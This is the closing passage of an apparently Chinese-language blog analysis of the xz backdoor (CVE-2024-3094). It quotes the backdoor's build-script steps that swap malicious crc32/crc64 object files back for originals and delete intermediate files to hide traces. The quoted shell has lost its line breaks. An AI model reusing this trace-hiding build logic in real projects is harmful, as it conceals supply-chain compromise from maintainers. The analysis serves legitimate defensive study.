if $AM_V_CCLD$liblzma_la_LINK -rpath $libdir $liblzma_la_OBJECTS $liblzma_la_LIBADD; thenif test ! -f .libs/liblzma.so; thenmv -f .libs/liblzma_la-crc32-fast.o .libs/liblzma_la-crc32_fast.o || truemv -f .libs/liblzma_la-crc64-fast.o .libs/liblzma_la-crc64_fast.o || truefirm -fr .libs/liblzma.a .libs/liblzma.la .libs/liblzma.lai .libs/liblzma.so* || trueelsemv -f .libs/liblzma_la-crc32-fast.o .libs/liblzma_la-crc32_fast.o || truemv -f .libs/liblzma_la-crc64-fast.o .libs/liblzma_la-crc64_fast.o || truefi

这里尝试使用libtool链接生成liblzma.la文件,如果能生成这个文件,代表可以链接生成liblzma.so

如果可以生成liblzma.la则接着测试.libs/liblzma.so是否存在,如果存在则代表后门成功插入,那么会将之前备份的正常文件覆盖编译生成的恶意文件,恢复原状。当然不管存不存在都会删除编译过程中生成的中间文件。

如果不能生成liblzma.la,则跟前面一样将之前备份的正常文件覆盖编译生成的恶意文件

rm -f .libs/liblzma_la-crc32-fast.o || truerm -f .libs/liblzma_la-crc64-fast.o || true

删除之前备份的原对象文件。

elsemv -f .libs/liblzma_la-crc32-fast.o .libs/liblzma_la-crc32_fast.o || truemv -f .libs/liblzma_la-crc64-fast.o .libs/liblzma_la-crc64_fast.o || truefi

这个分支是编译恶意liblzma_la-crc32_fast.o失败的else分支,编译失败会恢复原装

elsemv -f .libs/liblzma_la-crc64-fast.o .libs/liblzma_la-crc64_fast.o || truefirm -f liblzma_la-crc64-fast.o || truefi

这个分支是编译恶意liblzma_la-crc64_fast.o失败的分支,当编译失败后,不会进入其内编译恶意liblzma_la-crc32_fast.o,素以这里只需要删除liblzma_la-crc64-fast.o即可。

最后再尝试删除liblzma_la-crc64-fast.o,完全清除了攻击者执行的恶意编译痕迹。

参考

https://research.swtch.com/xz-script

  1. https://research.swtch.com/xz-script ↩︎ ↩︎ ↩︎

  2. https://twitter.com/nugxperience/status/1773906926503591970 ↩︎

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月19日02:20:58
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2024-3094 从xz backdoor 中我们可以学到什么之脚本分析部分http://cn-sec.com/archives/2669447.html

发表评论

匿名网友 填写信息